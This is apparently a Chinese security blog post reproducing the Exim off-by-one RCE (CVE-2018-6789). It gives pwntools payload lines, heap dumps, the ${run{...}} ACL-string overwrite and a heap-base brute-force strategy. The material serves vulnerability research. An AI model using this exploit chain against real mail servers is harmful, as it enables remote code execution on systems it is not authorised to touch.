Exim Off-by-one(CVE-2018-6789)漏洞复现分析

前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。

本次漏洞复现的过程中,踩了好多坑,实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造,所以在这部分卡了很久(猜测是因为环境不同的原因),之后决定先理解meh利用的大致思路,然后自己根据实际情况对堆块进行构造,虽然过程艰难,但最终基本算是成功了。

复现环境搭建

本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]

然后把分支切换到上一个commit

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$ git clone https://github.com/Exim/exim.git
$ git checkout 38e3d2dff7982736f1e6833e06d4aab4652f337a
$ cd src
$ mkdir Local

Makefile仍然使用上次那个:

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$ cat Local/makefile | grep -v "#"
BIN_DIRECTORY=/usr/exim/bin
CONFIGURE_FILE=/usr/exim/configure
EXIM_USER=ubuntu
SPOOL_DIRECTORY=/var/spool/exim
ROUTER_ACCEPT=yes
ROUTER_DNSLOOKUP=yes
ROUTER_IPLITERAL=yes
ROUTER_MANUALROUTE=yes
ROUTER_QUERYPROGRAM=yes
ROUTER_REDIRECT=yes
TRANSPORT_APPENDFILE=yes
TRANSPORT_AUTOREPLY=yes
TRANSPORT_PIPE=yes
TRANSPORT_SMTP=yes
LOOKUP_DBM=yes
LOOKUP_LSEARCH=yes
LOOKUP_DNSDB=yes
PCRE_CONFIG=yes
FIXED_NEVER_USERS=root
AUTH_CRAM_MD5=yes
AUTH_PLAINTEXT=yes
AUTH_TLS=yes
HEADERS_CHARSET="ISO-8859-1"
SUPPORT_TLS=yes
TLS_LIBS=-lssl -lcrypto
SYSLOG_LOG_PID=yes
EXICYCLOG_MAX=10
COMPRESS_COMMAND=/usr/bin/gzip
COMPRESS_SUFFIX=gz
ZCAT_COMMAND=/usr/bin/zcat
SYSTEM_ALIASES_FILE=/etc/aliases
EXIM_TMPDIR="/tmp"

然后就是编译安装了:

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$ make -j8
$ sudo make install

启动也是跟上次一样,但是这里有一个坑点,开启debug,输出所有debug信息,不开debug,这些都堆的布局都会有影响。不过虽然有影响,但是只是影响构造的细节,总体的构造思路还是按照meh写的paper中那样。

本篇的复现,都是基于只输出部分debug信息的模式:

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$ /usr/exim/bin/exim -bdf -dd
# 输出完整debug信息使用的是-bdf -d+all
# 不开启debug模式使用的是-bdf

漏洞复现

因为我觉得meh的文章中,漏洞原理和相关函数的说明已经很详细,我也没啥要补充的,所以直接写我的复现过程

STEP 1

首先需要构造一个被释放的chunk,但是没必要像meh文章说的是一个0x6060大小的chunk,只需要满足几个条件:

eximrce1

这个chunk要被分为三个部分,一个部分是通过store_get获取,用来存放base64解码的数据,用来造成off by one漏洞,覆盖下一个chunk的size,因为通过store_get获取的chunk最小值是0x2000,然后0x10的堆头和0x10的exim自己实现的堆头,所以是一个至少0x2020的堆块。

第二部分用来放sender_host_name,因为该变量的内存是通过store_malloc获取的,所以没有大小限制

第三部分因为需要构造一个fake chunk用来过free的检查,所以也是一个至少0x2020的堆块

和meh的方法不同,我通过unrecognized command来获取一个0x4041的堆块,然后通过EHLO来释放:

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p.sendline("\x7f"*4102)
p.sendline("EHLO %s"%("c"*(0x2010)))
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x4041,
fd = 0x7f9520917b78,
bk = 0x1d1b1e0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d191c0 {
prev_size = 0x4040,
size = 0x2020,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}

0x1d15180是通过unrecognized command获取的一个0x4040大小的chunk,在执行完EHLO命令后被释放, 然后0x1d191c0是inuse的sender_host_name,这两部分就构成一个0x6060的chunk

STEP 2

现在的情况是sender_host_name位于0x6060大小chunk的最底部,而我们需要把它移到中间

这部分的思路和meh的一样,首先通过unrecognized command占用顶部0x2020的chunk

之前的文章分析过,unrecognized command申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);

通过计算,只需要让length + nonprintcount * 3 + 1 > yield_lengthstore_get函数就会从malloc中申请一个chunk

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p.sendline("\x7f"*0x800)

这个时候我们就能使用EHLO释放之前的sender_host_name,然后重新设置,让sender_host_name位于0x6060大小chunk的中部

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p.sendline("EHLO %s"%("c"*(0x2000-9)))
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x2021,
fd = 0x7f9520917b78,
bk = 0x1d191a0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d171a0 {
prev_size = 0x2020,
size = 0x2000,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
0x1d191a0 PREV_INUSE {
prev_size = 0x63636363636363,
size = 0x6061,
fd = 0x1d15180,
bk = 0x7f9520917b78,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d1f200 {
prev_size = 0x6060,
size = 0x2020,
fd = 0x1d27380,
bk = 0x2008,
fd_nextsize = 0x6363636363636328,
bk_nextsize = 0x6363636363636363
}

STEP 3

现在我们的堆布局是:

  • 第一块未被使用的0x2020大小的chunk
  • 第二块正在被使用0x2000大小的sender_host_name
  • 第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk

我们现在再回过头来想想各个chunk的size的设置的问题

CHUNK 1

第一个chunk是用来触发off by one漏洞,用来修改第二个CHUNK的size位,只能溢出1byte

store_get最小分配一个0x2020的chunk,能储存0x2000的数据

这就导致了,如果按照store_get的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位

然后因为(0x2008-1)%3==0,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位

CHUNK2

第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0

其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。

经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用

CHUNK3

第三个chunk只要求大于一个store_get申请的最小size(0x2020)就行了

STEP 4

根据第三步叙述的,我们来触发off by one漏洞

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payload1 = "HfHf"*0xaae
p.sendline("AUTH CRAM-MD5")
p.sendline(payload1[:-1])
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x2021,
fd = 0x1d191b0,
bk = 0x2008,
fd_nextsize = 0xf11ddff11ddff11d,
bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
prev_size = 0x1ddff11ddff11ddf,
size = 0x20f1,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE IS_MMAPED {
prev_size = 0x6363636363636363,
size = 0x6363636363636363,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}

并且构造在第三块chunk中构造一个fake chunk

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payload = p64(0x20f0)+p64(0x1f31)
p.sendline("AUTH CRAM-MD5")
p.sendline((payload*484).encode("base64").replace("\n",""))
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x2021,
fd = 0x1d191b0,
bk = 0x2008,
fd_nextsize = 0xf11ddff11ddff11d,
bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
prev_size = 0x1ddff11ddff11ddf,
size = 0x20f1,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE {
prev_size = 0xf0,
size = 0x1f31,
fd = 0x20f0,
bk = 0x1f31,
fd_nextsize = 0x20f0,
bk_nextsize = 0x1f31
}
0x1d1b1c0 PREV_INUSE {
prev_size = 0x2020,
size = 0x4041,
fd = 0x7f9520918288,
bk = 0x7f9520918288,
fd_nextsize = 0x1d1b1c0,
bk_nextsize = 0x1d1b1c0
}

STEP 5

下一步跟meh一样,通过释放sender_host_name,把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset

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p.sendline("EHLO a+")
# heap
0x1d171a0 PREV_INUSE {
prev_size = 0x1ddff11ddff11ddf,
size = 0x20f1,
fd = 0x1d21240,
bk = 0x7f9520917b78,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d19290 {
prev_size = 0x20f0,
size = 0x1f30,
fd = 0x20f0,
bk = 0x1f31,
fd_nextsize = 0x20f0,
bk_nextsize = 0x1f31
}

STEP 6

meh提供了一种不需要泄露地址就能RCE的思路

exim有一个expand_string函数,当其处理的参数中有${run{xxxxx}}, xxxx则会被当成shell命令执行

acl_check函数中会对各个命令的配置进行检查,然后把配置信息的字符串调用expand_string函数

我复现环境的配置信息如下:

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pwndbg> x/18gx &acl_smtp_vrfy
0x6ed848 <acl_smtp_vrfy>: 0x0000000000000000 0x0000000000000000
0x6ed858 <acl_smtp_rcpt>: 0x0000000001cedac0 0x0000000000000000
0x6ed868 <acl_smtp_predata>: 0x0000000000000000 0x0000000000000000
0x6ed878 <acl_smtp_mailauth>: 0x0000000000000000 0x0000000000000000
0x6ed888 <acl_smtp_helo>: 0x0000000000000000 0x0000000000000000
0x6ed898 <acl_smtp_etrn>: 0x0000000000000000 0x0000000000000000
0x6ed8a8 <acl_smtp_data>: 0x0000000001cedad0 0x0000000000000000
0x6ed8b8 <acl_smtp_auth>: 0x0000000001cedae0 0x0000000000000000

所以我有rcpt, data, auth这三个命令可以利用

比如0x0000000001cedae0地址当前的内容是:

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pwndbg> x/s 0x0000000001cedae0
0x1cedae0: "acl_check_auth"

当我把该字符串修改为${run{/usr/bin/touch /tmp/pwned}}

则当我向服务器发送AUTH命令时,exim将会执行/usr/bin/touch /tmp/pwned

所以之后就是meh所说的利用链:

修改storeblock的next指针为储存acl_check_xxxx字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx字符串的堆块被释放丢入unsortedbin -> 申请堆块,当堆块的地址为储存acl_check_xxxx字符串的堆块时,我们可以覆盖该字符串为命令执行的字符串 -> RCE

STEP 7

根据上一步所说,我们首先需要修改next指针,第二块chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一个storeblock的地址为第二块chunk+0x2000,next指针地址为第二块chunk+0x2010

所以我们申请一个0x2020的chunk,就能够覆盖next指针:

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p.sendline("AUTH CRAM-MD5")
p.sendline(base64.b64encode(payload*501+p64(0x2021)+p64(0x2021)+p32(address)))

这里有一个问题

第二个chunk在AUTH CRAM-MD5命令执行时就被分配了,所以b64decode的内存是从next_yield获取的

这样就导致一个问题,我们能通过之前的构造来控制在执行b64decodeyield_length的大小,最开始我的一个思路就是,仍然利用off by one漏洞来修改next,这也是我理解的meh所说的partial write

但是实际情况让我这个思路失败了

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pwndbg> x/16gx 0x1d171a0+0x2000
0x1d191a0: 0x0063636363636363 0x0000000000002021
0x1d191b0: 0x0000000001d171b0 0x0000000000002000

当前的next指针的值为0x1d171b0,如果利用我的思路是可以修改1-2字节,然而储存acl_check_xxx字符的堆块地址为0x1ced980

我们需要修改3字节,所以这个思路行不通

所以又有了另一个思路,因为exim是通过fork起子进程来处理每个socket连接的,所以我们可以爆破堆的基地址,只需要爆破2byte

STEP 8

在解决地址的问题后,就是对堆进行填充,然后修改相关acl_check_xxx指向的字符串

然后附上利用截图:

exim_rce

总结

坑踩的挺多,尤其是在纠结meh所说的partial write,之后在github上看到别人公布的exp[3],同样也是使用爆破的方法,所以可能我对partial write的理解有问题吧

另外,通过与github上的exp进行对比,发现不同版本的exim,acl_check_xxx的堆偏移也有差别,所以如果需要RCE exim,需要满足下面的条件:

  1. 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
  2. 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证
  3. 需要有该exim的binary来计算堆偏移
  4. 需要知道exim的启动参数

参考

  1. https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
  2. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
  3. https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
文章目录
  1. 1. 复现环境搭建
  2. 2. 漏洞复现
    1. 2.1. STEP 1
    2. 2.2. STEP 2
    3. 2.3. STEP 3
      1. 2.3.1. CHUNK 1
      2. 2.3.2. CHUNK2
      3. 2.3.3. CHUNK3
    4. 2.4. STEP 4
    5. 2.5. STEP 5
    6. 2.6. STEP 6
    7. 2.7. STEP 7
    8. 2.8. STEP 8
  3. 3. 总结
  4. 4. 参考